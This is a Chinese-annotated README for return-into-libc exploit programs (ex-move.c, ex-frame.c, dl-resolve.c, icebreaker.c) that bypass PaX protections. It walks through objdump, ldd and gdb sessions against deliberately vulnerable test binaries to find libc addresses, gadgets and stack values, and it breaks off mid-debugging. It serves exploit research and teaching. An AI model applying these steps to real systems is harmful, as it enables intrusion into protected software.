9附件:README.code
代码注解
准备好有缺陷的程序,进行编译。
$ gcc -o vuln.omit -fomit-frame-pointer vuln.c
$ gcc -o vuln vuln.c
$ gcc -o pax pax.c
I. ex-move.c
~~~~~~~~~~~~
ex-move.c代码的前面部分预定义了一些象LIBC, STRCPY, MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES 的常数,你可以根据系统的环境进行调整,注意:MMAP_START 不能改变
下面,我们来获得这些我们需要的在代码中预定义的常数。
1)LIBC
[nergal@behemoth pax]$ ldd ./vuln.omit(*通过ldd,我们可以获得有缺陷函数vuln.omit调用的库函数及其地址)
libc.so.6 = /lib/libc.so.6 (0x4001e000)
/lib/ld-linux.so.2 = /lib/ld-linux.so.2 (0x40000000)
2) STRCPY
[nergal@behemoth pax]$ objdump -T vuln.omit(*通过objdump的参数-T,我们可以得到vuln.omit的动态符号表( DST)
vuln.omit: file format elf32-i386(显示文件格式)
动态符号表:
08048348 w DF *UND* 00000081 GLIBC_2.0 __register_frame_info
08048358 DF *UND* 0000010c GLIBC_2.0 getenv
08048368 w DF *UND* 000000ac GLIBC_2.0 __deregister_frame_info
08048378 DF *UND* 000000e0 GLIBC_2.0 __libc_start_main
08048388 w DF *UND* 00000091 GLIBC_2.1.3 __cxa_finalize
08048530 g DO .rodata 00000004 Base _IO_stdin_used
00000000 w D *UND* 00000000 __gmon_start__
08048398 DF *UND* 00000030 GLIBC_2.0 strcpy
~~~~~~~~(得到调用strcpy函数的地址)
3) MMAP
[nergal@behemoth pax]$ objdump -T /lib/libc.so.6 | grep mmap(*从库函数DST中找到mmap地址)
000daf10 w DF .text 0000003a GLIBC_2.0 mmap
000db050 w DF .text 000000a0 GLIBC_2.1 mmap64
4) POPSTACK/POPNUM/PLAIN_RET
我们必须找到"add $imm,%esp" 后面的"ret"指令。我们需要反汇编缺陷程序vuln.omit ,可以使用gdb的disas指令,也可以用objdump命令。这里使用"objdump --disassemble ./vuln.omit"。
[nergal@behemoth pax]$ objdump --disassemble ./vuln.omit |grep -B 1 ret(*找出反汇编程序vuln.omit中ret部分)
...省略一些无关输出
--
80484be: 83 c4 2c add $0x2c,%esp
~~~~~~~~(这是出栈前,add指令中的栈指针地址) ~~~~~~(POPNUM的数值) 80484c1: c3 ret
~~~~~~~~~("ret"指令的地址)
--
80484fe: 5d pop %ebp
80484ff: c3 ret
--
...省略一些无关输出
5) FRAMES
现在我们要找出,在堆栈溢出发生后,堆栈指针的数值。我们要做的事情是让有缺陷的程序vuln.omit发生段错误(core dumped),通过产生的core文件调试该缺陷程序,以获得FRAMES的预定义数值。我们的exploit代码ex-move.c中的参数"testing"将0x5060708保存在指令指针中,我们只需要这样做:
[nergal@behemoth pax]$ ./ex-move testing
Segmentation fault (core dumped)
[nergal@behemoth pax]$ gdb ./vuln.omit core
(no debugging symbols found)...
Core was generated by ./vuln.omit.
Program terminated with signal 11, Segmentation fault.
#0 0x5060708 in ?? ()
~~~~~~~~~(和ex-move的指令指针数值一样,如果该数值大于了0x5060708,意味着需要调整堆栈,同时exploit代码ex-move.c中定义结构体ov中的数组"scratch"需要做一定的调整。)
(gdb) info regi(*显示寄存器中的数值)
...
esp 0xbffffde0 0xbffffde0
~~~~~~~~~~(堆栈指针数值:这就是我们要找的FEAMES数值)
...
经过一番曲折,总算完成了exploit代码ex-move.c中的预定义。
现在来看攻击没有使用最优化选项编译的缺陷程序的exploit代码:ex-frame.c
II. ex-frame.c
~~~~~~~~~~~~~~
哇靠,还要做调整阿,废话:)LIBC, STRCPY, MMAP, LEAVERET 和FRAMES需要适当调整,和ex-move.c中方法差不多,LIBC,STRCPY, MMAP 以及 FRAMES也是这样。
LEAVERET的地址是"leave; ret"指令序列的地址。找它的方法和前面一样,同样使用objdump --disassemble 命令。
[nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1
objdump: vuln: no symbols
8048335: c9 leave
8048336: c3 ret
--
80484bd: c9 leave
~~~~~~~(由3.3节帧伪造可以知道第2帧的leave地址是我们需要的)
80484be: c3 ret
--
8048518: c9 leave
8048519: c3 ret
III. dl-resolve.c
~~~~~~~~~~~~~~~~~
需要对代码中预定义的STRTAB, SYMTAB, JMPREL, VERSYM 和PLT_SECTION常数数值进行调整
由于dl-resolve.c2进制本身关系 ,需要进行两次编译。第一次编译,我们只需#define dummy 值。然后打入下面命令:
[nergal@behemoth pax]$ objdump -x dl-resolve
输出下面的信息(动态符号表、串表,重定位入口,etc):
[...无关信息...]
动态段区域:
NEEDED libc.so.6
INIT 0x804839c
FINI 0x80486ec
HASH 0x8048128
STRTAB 0x8048240 (得到串表STRTAB地址)
SYMTAB 0x8048170 (得到符号表SYMTAB地址)
STRSZ 0xa1
SYMENT 0x10
DEBUG 0x0
PLTGOT 0x80497a8
PLTRELSZ 0x48
PLTREL 0x11
JMPREL 0x8048354 (得到JMPREL地址,和PLT地址有关联)
REL 0x8048344
RELSZ 0x10
RELENT 0x8
VERNEED 0x8048314
VERNEEDNUM 0x1
VERSYM 0x80482f8 (得到VERSYM符号版本地址)
"objdump -x"命令输出过程连接表(PLT)段区域
[...无关信息...]
段区域:
索引名称 Size VMA LMA File off Algn
0 .interp中断段 00000013 080480f4 080480f4 000000f4 2**0
...
11 .plt过程连接表段 000000a0 080483cc 080483cc 000003cc 2**2
入口地址,得到预定义PLT_SECTION数值
CONTENTS, ALLOC, LOAD, READONLY, CODE
再次编译代码dl-resolve.c ,最后我们可以看到象下面:
old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000
_exit(123) = ?
这样,mmap()被调用,虽然它不在dl-resolve.c的PLT入口。当然我们可以增加到shellcode中执行,但是没有多大必要对只是证明该理论而编写。
IV. icebreaker.c
~~~~~~~~~~~~~~~~
9个预定义需要被调整,两个固定:FRAMESINDATA 和 VIND.
1) FRAMESINDATA
这是定位或者从内存中划分伪造帧拷贝的静态变量,在pax.c,我们需要找到"bigbuf"数组的地址,如果被攻击的2进制文件没有被脱壳,那么很容易得到该地址,反之,我们必须分析反汇编的输出,在pax.c中13行,"bigbuf"变量在"strncat"函数的参数中出现,如下:
strncat(bigbuf, ptr, sizeof(bigbuf)-1);
那么,我们需要找到strncat函数地址:
[nergal@behemoth pax]$ objdump -T pax | grep strncat
0804836c DF *UND* 0000009e GLIBC_2.0 strncat
~~~~~~~~(strncat 函数地址)
[nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3
objdump: pax: no symbols
8048362: ff 25 c8 95 04 08 jmp *0x80495c8
8048368: 00 00 add %al,(%eax)
804836a: 00 00 add %al,(%eax)
804836c: ff 25 cc 95 04 08 jmp *0x80495cc
--
80484e5: 68 ff 03 00 00 push $0x3ff
80484ea: ff 75 e4 pushl 0xffffffe4(%ebp)
80484ed: 68 c0 9a 04 08 push $0x8049ac0
80484f2: e8 75 fe ff ff call 0x804836c
找到bigbuf的地址是0x8049ac0.即为预定义的FRAMESINDATA数值。
2) VIND
在上文中提到了[低地址,高地址]的间隔,在间隔中寻找短零字节,这个间隔的内存位置是
[VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]区域。(详见6.2节)
[nergal@behemoth pax]$ gdb ./icebreaker
(gdb) set args testing (设置参数为"testing")
(gdb) r (以参数testing运行icebreaker程序)
Starting program: /home/nergal/pax/./icebreaker testing
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x4ffb7d30 in ?? ()
(gdb) c (继续执行下个函数)
Continuing.
Program received signal SIGSEGV